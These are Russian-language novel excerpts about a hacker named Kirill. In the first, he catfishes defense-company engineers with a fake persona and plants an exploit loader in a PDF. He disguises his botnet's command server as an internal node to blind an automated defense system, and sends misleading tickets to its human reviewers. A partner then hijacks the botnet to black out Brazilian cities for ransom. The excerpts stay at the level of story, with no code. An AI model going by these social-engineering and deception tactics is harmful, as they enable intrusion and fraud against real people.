ся и  перевести переписку в  более интимное русло, Джеймс настоял
на  голосовом звонке по  скайпу. Пришлось экстренно призывать на  помощь
Габриеля, который отыскал где‑то в  дебрях Сан‑Паулу говорившую
по‑английски девушку, и та согласилась за небольшое вознаграждение сыг‐
рать Камиллу. Кирилл тщательно ввел ее в  курс дела, заставил выучить
основные факты, всплывавшие ранее в переписке, и очень опасался, что дев‐
чонка засыплется на  каком‑нибудь специфическом айтишном вопросе,
но все обошлось. Джеймс клюнул, и с этого момента дела пошли как по мас‐
лу.

Габриель вообще показал себя мировым парнем  — они подолгу тре‐
пались в  IRC-чате, и  бразилец с  интересом и  энтузиазмом воспринял идею
осторожно пощупать TerraCore изнутри. Правда, пока Кирилл еще не слишком
отчетливо понимал, с какой стороны подступиться к этой могучей цитадели.

Идея пришла не сразу. Сначала это было просто ощущение — то самое,
которое возникало у  Кирилла всякий раз, когда судьба предоставляла ему
очередной редкий шанс: не  открытую настежь дверь, скорее, форточку,
оставленную «на проветривание». Джеймс все чаще жаловался на  бардак
в документации, на презентации, которые кочуют из отдела в отдел, обрастая
пометками, комментариями и  чужими правками. Арчи вторил ему, сетуя, что
половину времени приходится разбираться не с кодом, а с чужими объясне‐
ниями того, как этот код должен работать.

Камилла сделала вид, будто это  ей знакомо. Девушка написала, что
в страховой компании дела обстоят ровно так же: одни и те же отчеты, одни
и те же файлы, которые никто толком не читает, но все обязаны подписывать.
Фраза была брошена небрежно, почти в шутку, но Кирилл отметил, что Джей‐
мс отреагировал сразу, без паузы.

Он пожаловался на  внутреннюю презентацию по  архитектуре системы,
которую ему «спустили сверху» и  которую теперь нужно срочно доработать.
Схемы в  ней устарели, подписи не  совпадали с  реальностью, а  главное  —
файл нельзя было выносить за пределы компании, даже чтобы показать зна‐
комым специалистам. Джеймс писал об этом раздраженно, но без злости —
скорее с усталой иронией человека, который давно смирился с корпоратив‐
ными парадоксами.

Кирилл подождал несколько минут, затем предложил решение, которое
выглядело естественным и  безопасным. Камилла призналась, что ей часто
приходится проверять подобные документы — не на содержание, а на логику.
«Когда смотришь со  стороны, сразу видно, где автор запутался»,  — сооб‐
щила она. Никаких просьб, никаких намеков, просто готовность помочь.

Джеймс колебался. Это  чувствовалось по  его поведению в  мессендже‐
ре — окошко программы несколько раз показывало надпись «James typing»,
которая то появлялась, то исчезала: он начинал фразу и  стирал ее. В  конце
концов он сдался.

Файл пришел поздно вечером.
Кирилл открыл его не сразу. Несколько секунд он просто смотрел на зна‐

чок документа, взвешивая все за  и против. Обычный PDF. Почти пустой
титульный лист, логотип TerraCore, заголовок стандартным шрифтом черного
цвета. Теперь ему предстояло сделать шаг, и его уже нельзя будет отыграть
назад.

Ответ был приготовлен заранее. Камилла посетовала, что у нее очень ста‐
рый ноутбук, который иногда капризничает с  тяжелыми документами. Пусть
Джеймс не  волнуется, она посмотрит присланное завтра. Затем Кирилл
пересобрал документ. Он не менял содержание — это было важно. Все слай‐
ды, схемы и подписи остались на своих местах. Он лишь добавил к файлу то,
что пользователь никак не мог увидеть, — маленький скрипт, использующий
давно известную хакерам ошибку в  обработке шрифтов. Эксплоит не  ломал
систему, он просто ждал, когда документ откроют на  машине, чтобы сох‐
ранить на диск крошечную программу‑загрузчик.

Еще раз просмотрев PDF, Кирилл сделал в  нем несколько пометок,
которые должны были помочь Джеймсу разобраться с логикой презентации.
Когда сообщение улетело адресату, Кирилл закрыл мессенджер и потер вис‐
ки. Теперь оставалось только ждать.

В тысячах километров от Петербурга, в офисе TerraCore Джеймс щелкнет
мышкой, открывая PDF-файл, и  на компьютере запустится невидимое при‐
ложение. Проверит окружение, убедится, что машина действительно находит‐
ся внутри домена TerraCore, что это не «песочница» и не ноутбук в гостевой
сети. Только после этого оно развернет маленький служебный процесс  —
такой неприметный, что он затеряется среди десятков других, живущих своей
фоновой жизнью. Джеймс тем временем будет листать документ дальше.
Где‑то он кивнет, где‑то нахмурится, читая комментарии. В  одном месте
задержится чуть дольше  — именно там, где Кирилл задал невинный, почти
наивный вопрос, подталкивающий к  сомнению. Джеймс сделает мысленную
пометку: надо будет перепроверить, даже не подозревая, что за его спиной
теперь возник незримый наблюдатель, который видит все, что происходит
на его компьютере и в локальной сети.

Через пару дней Кирилл уже знал совершенно точно: «Перцептрон»
выжил. Он изменился, стал чуть менее агрессивным, но основные свои фун‐
кции сохранил. Кирилл получил не  root-доступ, а  всего лишь ограниченное,
зыбкое присутствие на одной из рабочих станций в сети, но даже этого ока‐
залось достаточно, чтобы выяснить, как  обучается и  как работает система.
Вопреки его ожиданиям, «Перцептрон» получал данные не напрямую от сто‐
рожевых программ‑сенсоров, а  через цепочку промежуточных систем, где
часть решений подтверждалась человеком. С одной стороны, это совпадало
с его смутными догадками и придавало им зловещую ясность. «Перцептрон»,
несмотря на  хвастливые утверждения руководителей компании, пытавшихся
продать это передовое кибероружие американскому правительству, все‑таки
представлял собой не фантастический искусственный интеллект из голливуд‐
ского блокбастера, а  сложную автоматизированную экспертную систему,
наполовину работавшую на ручном управлении. С другой — обмануть живого
человека порой гораздо сложнее, чем бездушную машину. Ключевым фак‐
тором оказалось то, что «Перцептрон» доверял внутреннему контуру почти
безоговорочно. Все, что приходило изнутри системы, априори считалось
более надежным, чем любой внешний сигнал. Кирилл понял: если заставить
машинный разум поверить, что источник угрозы находится внутри периметра
TerraCore, рано или поздно «Перцептрон» уничтожит сам себя.

Мысль, показавшаяся Кириллу крайне интересной, родилась в разговоре
с Габриелем из парочки ничего не значащих фраз. Они сидели в IRC, переб‐
расываясь короткими репликами, и  бразилец между делом заметил, что
в своих корпоративных сетях американцы слишком любят зеркала и реплики.
Резервные зоны, тестовые домены — все это зачастую живет гораздо доль‐
ше, чем было задумано изначально, и  нередко используется хакерами
в качестве удобной точки входа. Кирилл уловил идею сразу: если перенести
домен управляющего сервера его спящего ботнета в  доверенную
инфраструктуру TerraCore, можно «отравить» саму логику работы системы,
заставив ее принять источник угрозы за  часть собственного «организма».
Нужно сделать так, чтобы управляющий домен выглядел не  как внешний
командный пункт, а  как один из  служебных узлов, давно вписанных во  внут‐
ренний ландшафт сети. Только вот чтобы провернуть подобное, нужна
помощь живого человека, имеющего доступ к ресурсам компании…

Кирилл осторожно вернулся к  переписке с  Арчи. Тот часто жаловался
на большую нагрузку, на то, что руководство скидывает все больше и больше
задач, а повышения зарплаты или даже простой человеческой благодарности
от него не добьешься. Кирилл отвел Камилле роль понимающего слушателя,
далекого от политики и корпоративных интриг, — она участливо поддакивала,
жалела, писала о том, что у нее происходит почти то же самое. При этом она
интересовалась жизнью Арчи, присылала веселые открыточки с  забавными
зверушками и  советовала больше отдыхать от  работы. Даже пообещала
в  следующий отпуск взять билеты и  прилететь в  Калифорнию, чтобы сос‐
тавить Арчи компанию и наконец устроить ему по‑настоящему яркий уик‑энд
с бразильским вином, танцами и барбекю.

В какой‑то момент Камилла пропала. Арчи безуспешно написывал ей
в  мессенджер и  по электронной почте, даже попытался позвонить голосом,
но  девушка не  взяла трубку. На  следующий день она вышла на  связь, изви‐
нившись за вынужденную паузу в общении, вызванную жуткими проблемами
на  работе. Начальство заставило девушку тестировать новую программу
для составления отчетов по страховым случаям, а админы как раз отправили
в ремонт служебный сервер, на котором она проводила испытания. Если она
не закончит работу до конца недели, ее, вероятно, уволят.

Арчи сам вызвался помочь — если Камилла подскажет ему, что нужно сде‐
лать, ведь у него как раз имеется в распоряжении редко используемый сер‐
вер, поднятый для  регрессионных проверок, на  котором можно временно
поднять тестовый сетевой адрес. Габриель подключился быстро и четко. Он
подготовил зеркало домена ботнета  — скрипт, поднимающий нужные DNS-
записи и цифровые сертификаты. В авантюре снова пригодилась его давеш‐
няя актриса из Сан‑Паулу — она позвонила Арчи, озвучила ему заранее сос‐
тавленные Кириллом и  Габриелем инструкции, после чего они мило побол‐
тали и повесили трубки, довольные друг другом. А у ботнета появился новый
управляющий адрес в сети «Терры».

Осталось только осторожно оживить спящие вредоносные программы
и задать им новую цель — несколько серверов TerraCore. Изнутри поднятое
Арчи зеркало выглядело как  источник координированной атаки, не  мощной,
не  грубой  — осторожной, словно кто‑то сознательно избегал разрушений.
Система сделала то, чему ее учили: начала анализировать, искать причины,
сопоставлять. И, что особенно важно, запрашивать подтверждения у людей.

Тут снова пригодилась рабочая станция Джеймса, оказавшаяся не просто
полезным, а  крайне ценным ресурсом: прежде всего потому, что что ей
доверяли. Почта, внутренние чаты, система тикетов  — все, что уходило
от  имени Джеймса, автоматически считалось частью внутреннего диалога,
не требующего перепроверки.

С этой машины полетели сообщения  — не  всем подряд, а  точечно. Тем,
кто уже был вовлечен в  анализ инцидентов. Тем, чьи имена Кирилл видел
в  корпоративной тикет‑системе. Сообщения выглядели буднично: «Пред‐
варительная классификация», «Результаты первичного анализа», «Требует
внимания, но без эскалации». Никаких тревожных слов, никаких красных фла‐
гов. В  отчетах внутренний источник атаки фигурировал как  нестабильный,
но свой, а сбои списывались на тестирование, на устаревшую конфигурацию,
на  рассинхронизацию, на  человеческий фактор: возможно, «Перцептрон»
ошибочно реагирует на угрозу из‑за перекоса в обучающей выборке. В сер‐
вис‑деске стали появляться отметки: инцидент подтвержден, но классифици‐
рован как  внутренний. Человеческое решение являлось для  системы пос‐
ледним, самым весомым аргументом, тем, чему она верила больше всего.

Система понемногу пожирала себя изнутри. Аналитические модули
понимали, что происходит что‑то странное, но они оказались не в состоянии
классифицировать угрозу и предпринять какие‑либо действия, поскольку эта
самая угроза не  исходила извне, а  поступающие от  людей сигналы успо‐
каивали: все в  порядке, ничего делать не  надо. Кирилл ощущал это  почти
физически. Стоило лишь слегка изменить вектор — и вся эта тяжелая, перег‐
ретая конструкция могла бы развернуться наружу. Одно движение — и «Пер‐
цептрон» начал  бы столь же усердно давить чужие сети, считая это  продол‐
жением своей рутинной работы. TerraCore построила инструмент, способный
выжечь пол интернета, но сейчас этот инструмент был оглушен собственной
неповоротливой логикой.

Именно в этот момент все и пошло не так.
Сессия связи с  машиной Джеймса подвисла на  долю секунды. Кирилл

машинально обновил окно терминала, и соединение внезапно оборвалось.
Затем пропал коннект с админкой ботнета. Кирилл попытался достучаться

до  управляющего сервера и  так и  эдак  — ничего не  получалось, связи
не было. Он практически сразу догадался, что именно произошло.

Габриель не  выходил в  сеть уже почти час. Для  него это  было нехарак‐
терно — бразилец обычно писал много, с азартом, будто все происходящее
стало для  него забавной игрой. Теперь же в  IRC царила тишина: Кирилл
отправил в чат несколько строк, но ему никто не ответил.

Спустя сорок минут ботнет ожил по настоящему.
Но команды шли уже не от Кирилла.
«Извини, друг,  — возник наконец долгожданный отклик в  окне чат‑кли‐

ента, — ты никогда не жил в фавелах и не знаешь, что это такое. Было бы глу‐
по не воспользоваться таким шансом».

Кирилл устало выключил ноутбук и закрыл глаза. В последние ночи он поч‐
ти не спал и потому чувствовал себя совершенно раздавленным под гнетом
накопившейся усталости. Рухнув на  диван, он попытался расслабиться,
но сон не шел. В голове крутились мысли о том, как легко доверие превраща‐
ется в оружие. Только под утро Кирилл погрузился в неглубокую, тревожную
полудрему. Сознание отключалось от событий минувшего дня, но волнение,
будто едва различимый шепот, продолжало напоминать, что начатая им опас‐
ная игра вышла из‑под контроля.

Проснувшись абсолютно разбитым, он первым делом бросился к ноутбуку
и  развернул ленты новостей. Американский телеканал CBS рассказывал
о том, что внезапная атака неизвестных хакеров вызвала блэкаут сразу в двух
бразильских городах. Таинственные злоумышленники нарушили работу энер‐
гетики целого муниципалитета и  потребовали за  ее восстановление выкуп.
Журналисты The Wired смаковали подробности: кибератака на энергосистему
Бразилии оказалась столь мощной и  неожиданной, что у  компаний не  наш‐
лось ресурсов для ее отражения, однако официальные лица пока еще не под‐
твердили версию о хакерском вторжении и не поделились техническими под‐
робностями. Миловидная корреспондентка австралийского телеканала ABC
вторила им: если бразильские хакеры сумеют получить требуемую сумму, они
станут очень состоятельными людьми, но, скорее всего, их поймают, потому
что делом уже заинтересовались международные спецслужбы.

— Идиот, — произнес Кирилл в пустоту.
В  этот вечер он отключил мобильник, спустился в  расположенную возле

дома «стекляшку», купил себе бутылку дешевого бренди и крепко напился. © X
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Трафик на  Харбор‑фривей сегодня был неожиданно
интенсивным: казалось, уставшие от внезапно свалившейся
на город жары обитатели Лос‑Анжелеса решили разом рва‐
нуть на  природу, туда, где воздух был чище, а  пальмы бро‐
сали длинные тени на  разогретый песок. Из‑за плотного
движения дорога, которая обычно занимала от  силы минут
пятнадцать, растянулась на целых полчаса.

Джейк свернул на  Футхилл: тут было посвободнее, и  он прибавил газу.
Пасадена, конечно, не  относилась к  знаменитой Кремниевой долине,
но здесь тоже располагалось множество офисов технологических компаний:
сказывалась близость Caltech и  Jet Propulsion Laboratory, которые, как  маг‐
нитом, притягивали к себе талантливых программистов и айтишников со всей
страны. Возле одного из таких офисов он и остановился: длинное угловатое
здание с затемненными окнами до земли напоминало со стороны не то сов‐
ременный больничный корпус, не то ангар для секретных разработок.

Оставив машину медленно нагреваться на  безжалостном калифорнийском
солнце, Джейк шагнул в  кондиционированную прохладу здания. Девушка
на ресепшене встретила его заученной улыбкой и после короткого приветс‐
твия любезно вызвалась в сопровождающие — его явно ждали.

Алекс Штейн оказался грузным мужчиной за пятьдесят — впрочем, Джейк
примерно так и  представлял себе вице‑президента крупной американской
корпорации. Будучи наблюдательным от  природы, он разглядел на  дверном
косяке с  правой стороны от  входа небольшой черный предмет, который
поначалу принял за какую‑то хитрую систему безопасности, однако, приметив
выдавленное на пластике изображение семисвечника‑меноры, быстро смек‐
нул, что это  мезуза  — футляр со  свитком пергамента, на  котором записаны
отрывки из Торы. Иудейская традиция предписывала размещать мезузу у вхо‐
да в жилище, и здесь, в офисе, она явно намекала на то, что Штейн буквально
живет на работе.

— Джейк Кадлер, Центральное разведывательное управление,  — пред‐
ставился гость, пожимая потянутую ладонь.

— Присаживайтесь, — дружелюбно предложил хозяин кабинета. — Кофе?
— Не  откажусь. Алекс, я не  планирую отвлекать вас надолго, поэтому

предлагаю сразу перейти к делу, если позволите. Недавний инцидент в Бра‐
зилии сильно обеспокоил департамент международной кибербезопасности,
особенно в той связи, что в нем оказалась замешана инфраструктура вашей
компании.

— TerraCore всегда уделяла особое внимание своей репутации… — завел
было обычную для  руководителей его уровня шарманку Штейн, но  Джейк
перебил его:

— Я прекрасно осведомлен о  вашей репутации, Алекс, возможно, даже
лучше вас самих. Речь идет о  том, что у  департамента, равно как  и у  пра‐
вительства, появились обоснованные сомнения в  том, насколько защищены
и  надежны разработанные вами технологии. Это  ведь уже не  первый инци‐
дент, не так ли?

Штейн поджал губы.
— Наша система вполне безопасна, мистер Кадлер. Но надо учитывать тот

факт, что «Перцептрон»  — это  экспериментальная технология, которая пока
еще  не доведена до  совершенства. Такого до  нас никто не  делал, а  пер‐
вопроходцы всегда сталкиваются с  объективными трудностями. Мы продол‐
жаем работу, проводим кропотливые исследования, и уверяю вас…

— Алекс, позвольте мне сказать,  — снова прервал его Джейк.  — Боюсь,
это  очень плохая новость, но  федеральное правительство после консуль‐
таций с  экспертами приняло решение свернуть исследования и  прекратить
финансирование проекта. Очень жаль, но  мы вынуждены сообщить вам
об этом. «Терра», конечно, может продолжать свои изыскания, но дальше она
будет делать это за собственный счет.

— Все из‑за этих чертовых бразильцев?  — скривился Штейн, уже
понимая, что миллиарды долларов буквально в эту минуту безвозвратно уте‐
кают из его рук. Без помощи государства завершить и выгодно продать этот
проект уже не выйдет, а значит, «Перцептрон» — мертв. Окончательно и бес‐
поворотно.

— Бразильцев мы, безусловно, вычислим и поймаем, — заверил собесед‐
ника Кадлер, кивнув передавшей ему кофе секретарше. — Тем более здесь
затронуты интересы американской компании, работающей с  господрядами.
Скажу вам по  секрету: у  нас есть подозрения, что в  этом деле замешаны
и русские хакеры. Возможно даже, кто‑то из наших старых знакомых.

— Планируете привлечь Европол?
Джейк покачал головой.
— Недостаточно доказательств. К тому же очень скоро, в июле, в России

состоится большая встреча мировых лидеров, на которой будет присутство‐
вать и наш президент. Сейчас не самое лучшее время ссориться с русскими:
все должно пройти без происшествий, если вы понимаете, о чем я. Впрочем,
не удивлюсь, если русские хакеры каким‑то непостижимым образом проник‐
нут и на это ответственное мероприятие…

***
Кирилл въехал во  двор и  припарковал «москвич» прямо возле подъезда.
Теперь он мог это  сделать без  малейших опасений: в  нагрудном кармане
лежала только что полученная пластиковая карточка водительского удос‐
товерения. В  городском экзаменационном отделе на  шоссе Революции он
провел почти целый день: теоретический экзамен в  компьютерном классе
Кирилл сдал очень быстро, а  вот практической части пришлось ждать
до  самого полудня. Их погрузили в  учебные автомобили и  развезли по  нес‐
кольким локациям: Кириллу достался «район трех дураков», ограниченный
проспектами Энтузиастов, Наставников и  Ударников, благодаря чему он
и получил это народное название. Его вызвали самым последним из группы,
и  свой маршрут Киря проехал почти безупречно, только, припарковавшись
у тротуара по команде экзаменатора, увидел, что тот замер в нерешительнос‐
ти, открыв пассажирскую дверь: прямо под ногами гаишника разлилась бес‐
крайняя грязная лужа.

— Вот скажи, ты специально это  сделал?  — строго спросил инспектор,
но практику все‑таки зачел.

Поднявшись по  лестнице, Кирилл позвонил в  соседскую дверь. Борис
Семенович открыл почти сразу, посторонился, пропуская гостя в квартиру:

— О, Кирюша! Заходи, как  раз собирался тебе позвонить, пригласить
на чай да поговорить кое о чем.

Кирилл скинул обувь, по‑хозяйски прошел на кухню и выставил на стол куп‐
ленную по пути бутылку армянского коньяка, пластиковую упаковку с нарезан‐
ным сервелатом, пакетик охотничьих колбасок и банку шпрот.

— Серьезно! — оценил гостинцы сосед. — Что отмечаем?
— Права вот получил,  — гордо сообщил Кирилл,  — говорят, по  старой

русской традиции обмыть надо. Ну и один вопрос хотел с вами обсудить.

— Это какой же?
— Борис Семенович, а  продайте мне ваш «москвич»? Хочу предложить

за него сорок тысяч рублей. Немного, но…
— Да ты что, — замахал руками Криптодед, — ему ж больше двадцати лет

уже! Тысяч пятнадцать он стоит, не дороже.
— Может, тридцать?  — Кирилл вдруг подумал, что, наверное, впервые

в  истории человечества, покупая машину, он торгуется не  вниз, а  вверх.  —
Автомобиль в хорошем состоянии, гаражный, ухоженный…

— Говорю же, пятнадцать! Ну двадцать, самый максимум.
— Двадцать пять, и по рукам?
— Двадцать, и не спорь со мной больше, а то вообще не продам. Рюмки

вон из серванта принеси лучше.
Кирилл сходил в  комнату, взял с  полки две тяжелые хрустальные стопки

и сполоснул их в кухонной раковине.
  — А  о чем вы со  мной поговорить хотели, Борис Семенович?  — поин‐

тересовался он, вернувшись за стол.
— Видишь, какое дело,  — сосед сразу стал необычайно серьезным,  —

один мой бывший коллега ищет специалиста вроде тебя. С  хорошими зна‐
ниями в  компьютерных делах, в  защите и  в вопросах безопасности. Ты же
вроде опыт такой имеешь, я справки навел. Есть у  него работенка по  этому
самому профилю за  неплохие деньги. Съезди, поговори, не  понравится  —
откажешься.

— Фирма на три буквы? — не без ехидства уточнил Кирилл.
— Смежники. Контора называется ФАПСИ, Федеральное агентство пра‐

вительственной связи…
—…и информации,  — закончил за  него Кирилл.  — Знаю. А  куда ехать‑то

надо? На Литейный?
— Зачем на Литейный? У них фирма‑подрядчик есть, на Петроградке офис

снимает. Я тебе сейчас адрес продиктую… Записать есть куда или  запом‐
нишь?

Офис компании со  странным названием «Артс Инжиниринг» располагался
в старом сталинском доме недалеко от метро, где в советские времена оби‐
тал какой‑то давно почивший НИИ. В  наследство от  покойного учреждения
зданию досталась гулкая проходная с вертушкой, будка с суровым вахтером
и  черный эбонитовый телефон на  стене. У  Кирилла проверили паспорт,
занесли его фамилию в толстый журнал, выписали разовый пропуск, и он под‐
нялся по  мраморным ступеням на  третий этаж, где его уже поджидала
невысокая и очень симпатичная сотрудница, представившаяся Кирой.

Компания арендовала целый этаж. В нескольких комнатах сидели сотрудники,
что‑то сосредоточенно высматривая в  компьютерных мониторах. Кирилла
пригласила в  отдельный кабинет полная женщина с  открытым и  приятным
лицом, назвавшаяся руководителем отдела кадров Мартой Алексеевной,
расспросила о том, где он родился, где учился, где трудился раньше. Затем
провела Кирилла в  другую комнату, и  здесь он впервые увидел человека,
о котором говорил ему накануне сосед.

— Аркадий Николаевич, — протянул для пожатия руку тот, и Кириллу вдруг
показалось, что раньше он уже где‑то видел этого улыбчивого мужчину.  —
Проходи, располагайся. Куришь? Нет? Молодец. Семеныч тебе уже в  двух
словах объяснил, зачем ты мне понадобился? Что, совсем ничего не расска‐
зывал? Вот старый темнила… Ладно, тогда излагаю с  самого начала.
Да садись уже, не стой над душой.

Аркадий Николаевич вел себя просто, по‑свойски, и  сразу располагал
к себе. Кирилл опустился в удобное кожаное кресло и принялся слушать его
рассказ:

— Через полтора месяца в  Стрельне под  Питером состоится важная
встреча глав государств, в ней примут участие лидеры Франции, Японии, Гер‐
мании, Буш из  Штатов приедет, да  много кто будет… Журналистов, ясное
дело, тоже ожидается тьма… Под это дело создается целая инфраструктура.
Понятно, речь идет не  о правительственных серверах, они тоже есть, и  ими
занимаются серьезные люди… Но, скажем, для той же прессы используется
очень сложное оборудование. Плюс  — технические службы: свет, кондици‐
онирование, связь, кухни для  гостей и  персонала… Да  одних уборных там
с  десяток штук. Мероприятие, сам понимаешь, ответственное, потому все
должно пройти безупречно. Только вот есть люди, которые наверняка захотят
этому помешать…

— Это  кто же?  — спросил Кирилл, уже проникнувшись грандиозностью
грядущего события.

— Антиглобалисты всякие. Экологические активисты. Да  мало ли разных
психов… В  общем, за  безопасность всей этой компьютерной машинерии
отвечает команда опытных спецов, но  нам хотелось  бы убедиться, что они
предусмотрели любые возможные неожиданности. Поэтому нужны люди, спо‐
собные проверить их работу на прочность. Пощупать надежность защиты, так
сказать, посмотреть, все ли правильно настроено, не  забыли ли где чего…
В общем, требуется свежий взгляд со стороны.

— Пентест?  — на  всякий случай уточнил Кирилл, уже понимая, что
не ошибся.

Задача рисовалась масштабная, очень интересная, но  именно от  этого
становилось немного страшновато. К защите подобного мероприятия навер‐
няка привлекли очень опытных безопасников, он же сейчас фактически один.
Ваня  — необученный салага, Сергей  — отличный сисадмин, но  в кибер‐
безопасности практически не шарит, а Маша… Она вообще не из этой оперы.
С другой стороны, если браться за подобный проект, нужна команда. А иной
команды у него теперь нет. Чуть помедлив, Кирилл решился:

— Аркадий Николаевич, дело в том, что у меня есть фирма… Она зарегис‐
трирована недавно, пару недель назад, но  заниматься планирует как  раз
информационной безопасностью и  в том числе тестированием на  проник‐
новение. Нас там всего четверо работает, но это очень толковые, грамотные
ребята…

Аркадий Николаевич поморщился.
— Кирилл, давай начистоту? Фирма  — это  хорошо, но  для того, чтобы

допустить ее к работе, придется пройти кучу серьезных проверок, оформить
огромный ворох бумаг… Ты представляешь, сколько это принесет проблем?
А времени у нас совсем нет. Давай так: мы наймем вашу банду, так сказать,
частным порядком. Справитесь  — дадим вам рекомендации, пособим
с  заказами, с  сертификацией поможем. Но  сначала надо сделать то, ради
чего я тебя позвал. Борис Семенович очень тебя хвалил, уверял, что ты точно
справишься, а  его рекомендациям я склонен верить. Ну, что скажешь? Сог‐
ласен?

Размышлял Кирилл недолго:
— Мне нравится, только нужно обсудить это с ребятами.
— Добро. Тащи своих ребят прямо сюда. Завтра подъехать сможете?

Заодно и  с «синей командой» познакомитесь, которая будет работать
в защите. Давай в час дня договоримся, а то в три у меня уже встреча…

***
— Кирыч, да  ты обалдел, что ли?  — Серёга, как  обычно, перешел в  режим
сомнений и самоуничижения. — У нас же опыта никакого, облажаемся ведь.
Не, ну ты, может, в  этом разбираешься, а  мы? Нельзя в  такое впутываться,
пока не прокачаемся на каких‑нибудь простых заказах…

— А я думаю, надо вписаться! — Иван, сидя на стойке у входа, с аппетитом
жевал купленный где‑то чебурек, обсыпая все вокруг жирными крошками. —
Я Киксу верю, если он сказал «затащим», значит, затащим.

— Тебя вообще к этой работе не допустят, тебе еще восемнадцати нет, —
парировал Сергей,  — а  там, небось, всякие бумаги о  неразглашении под‐
писывать надо…

— Как  производственную практику ему оформим,  — сказал Кирилл,  —
пусть направление из школы принесет, у них же там наверняка есть какая‑то
профориентация… Маша, а ты что скажешь?

— Я как  все,  — пожала плечами девушка.  — Вы пойдете  — и  я пойду.
А  вообще, я согласна с  Ваней и  Кириллу доверяю. Если он считает, что
это хороший вариант, надо соглашаться.

— Вот опять вы все против меня, — вздохнул Сергей, но не с обидой, а с
плохо скрываемой иронией: видно, ему самому хотелось поучаствовать
в предложенной авантюре, и он просто искал недостающей ему уверенности
в словах друзей. — Ладно, давайте съездим. Если что, еще не поздно отка‐
заться.

Ехали на свежекупленном «москвиче». Кирилл вел машину осторожно, ста‐
раясь не  совершать резких маневров,  — опыта поездок в  перегруженном
транспортом центре города ему еще не хватало.

— Слушай, Кирыч, а  если это  развод?  — снова начал Серёга, глядя
в  лобовое стекло.  — Ну, знаешь: «молодые таланты», «интересный проект»,
а потом либо бесплатно попахать, либо крайними сделают.

— Развод обычно выглядит проще,  — ответил Кирилл, не  отрывая глаз
от дороги. — Там либо обещают золотые горы, либо требуют денег. А тут кон‐
кретная задача и конкретные сроки. Не переживай, все будет пучком.

Они свернули на  Ординарную, где старые «жигули» соседствовали
с  новыми иномарками; Кирилл с  трудом отыскал место для  парковки у  тро‐
туара и  заглушил машину. На  секунду повисла тишина, нарушаемая только
потрескиванием остывающего мотора.

— Ну что, — сказал Иван, открывая скрипучую дверь, — пошли знакомить‐
ся с будущим?

— С возможным будущим, — поправил Серёга и глубоко вздохнул.
До нужного здания пришлось немного прогуляться пешком. Вахтер на вхо‐

де переписал их имена в свой журнал и безропотно пропустил наверх: Кирилл
бывал здесь накануне и потому чуть ускорил шаг, показывая дорогу. Аркадий
Николаевич уже ждал их в  кабинете  — на  столе стояло несколько бутылок
минералки и пустые стаканы на пластиковом подносе, из приоткрытого окна
открывался прекрасный вид на  зеленеющий сквер с  аккуратно пострижен‐
ными кустами и памятником какому‑то поэту в центре.

— А где «игроки полузащиты»? — поинтересовался Кирилл, пожимая про‐
тянутую руку.

— Немного задерживаются. Впрочем, вы, как мне сказали, уже общались
раньше, так что сработаетесь, я думаю… О, а вот и они.

Когда вошедший мужчина средних лет в  сопровождении стройной свет‐
ловолосой девушки бросил хозяину кабинета «Привет, пап», Кирилл сразу
понял, почему лицо Аркадия Николаевича при первой встрече показалось ему
смутно знакомым.

— Привет, Фреш,  — кивнул он вошедшему и  повернулся к  его спутнице,
растерянно застывшей в дверях: — Привет, Трикси. © X
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Настоящая работа хакера начинается даже не  с включения
компьютера, а  с понимания того непреложного факта, что
под  привычными интерфейсами приложений
и  интернет‑порталов чаще всего скрывается обыкновенная
человеческая небрежность, возведенная в систему. Именно
она обычно и  становится той лазейкой, что позволяет зло‐
умышленникам пробраться в  святая святых корпоративной
сети и  немного там порезвиться. Сегодня они играли
в странную игру, пытаясь отыскать такие лазейки и помочь их
закрыть, пока этой возможностью не  воспользовался
кто‑нибудь другой. Пентест,  — как  и почти все компьютер‐
ные термины, этот пришел из английского языка: penetration
testing  — слово скучное, канцелярское, будто придуманное
теми же людьми, что изобрели выражение «оказание услуг».
На деле же картинка выглядела просто: Кириллу и компании
разрешили изобразить плохих парней, чтобы потом
не пришлось разгребать последствия реальной катастрофы.

Стороны этого невзаправдашнего противостояния назывались примерно
как в военной игре «Зарница», с которой Кирилл познакомился еще в школь‐
ные годы в летнем лагере, куда отправляла его на месяц‑другой мама: «крас‐
ные» и «синие». Красная команда — те, кто нападает. Те, кто думает, как враг,
читает документацию между строк и  верит, что любой, даже самый высокий
забор построили люди, изрядно уставшие к  концу смены. Фирма‑заказчик,
в роли которой сегодня выступала «Артс Инжиниринг», настояла на том, что‐
бы Кирилл со своими помощниками занимался темными делами у них в офи‐
се, под  присмотром штатных сотрудников,  — хорошо хоть разрешили взять
с собой личный ноутбук со всем настроенным инструментарием.

Синяя команда  — защитники. В  нее входили Фреш, Трикси и  еще один
незнакомый парень, представившийся Игорем. Их отселили в  соседнее
помещение, но Лео все равно с озабоченным видом бегал туда‑сюда, пери‐
одически заглядывая Кириллу в монитор, чем жутко действовал ему на нервы.
Получалось, что сейчас Кирилл играл против своего бывшего работодателя и,
ко всему прочему, против избранника своей бывшей девушки. А значит, обла‐
жаться было никак нельзя, этого он себе уж точно не простит.

Он сделал глоток энергетика. Вкус напоминал расплавленных мармелад‐
ных мишек, смешанных с керосином, — топливо для мозга, которому сегодня
предстояло работать на  форсаже. Иван, после длительных согласований
все‑таки допущенный к процессу в качестве практиканта‑наблюдателя, сопел
Кириллу в  ухо, стараясь не  пропустить ни  единой детали,  — ему было нас‐
только интересно происходящее, что он даже вел себя на удивление прилич‐
но и скромно, а не в своей обычной гопнической манере. Серёге отводилась
роль творца документации и отчетов, поэтому он тщательно фиксировал все
события в  блокноте, время от  времени вполголоса спрашивая пояснения.
Без  дела осталась разве что Маша, которая, послонявшись по  офису, сама
вызвалась бегать в расположенную в соседнем доме пиццерию и к стоящей
в смежной комнате кофе‑машине, пополняя по мере необходимости запасы
продовольствия.

— Ну что, когда начнем?  — Ваня ерзал на  стуле, словно сидел на  гус‐
тонаселенном муравейнике, настолько ему не терпелось приступить к делу.

— Да вот прямо сейчас, — откликнулся Кирилл, запуская сканер портов. —
Займемся работой, пока наши уважаемые коллеги изволят пить кофе.

Список потенциальных целей им любезно предоставил заказчик, отдельно
упомянув в  договоре, куда лезть категорически нельзя, и  избавив их тем
самым от необходимости проводить предварительную разведку инфраструк‐
туры. Тем не менее Кирилл все равно решил на всякий случай поискать дру‐
гие потенциальные точки входа: чем больше ты знаешь о  сети, в  которую
собираешься вломиться, тем лучше.

— А вот это уже интересно, — задумчиво произнес он, и Иван придвинул‐
ся ближе, чтобы ничего не пропустить.

Обычно сканер стучался во все шестьдесят пять с половиной тысяч портов
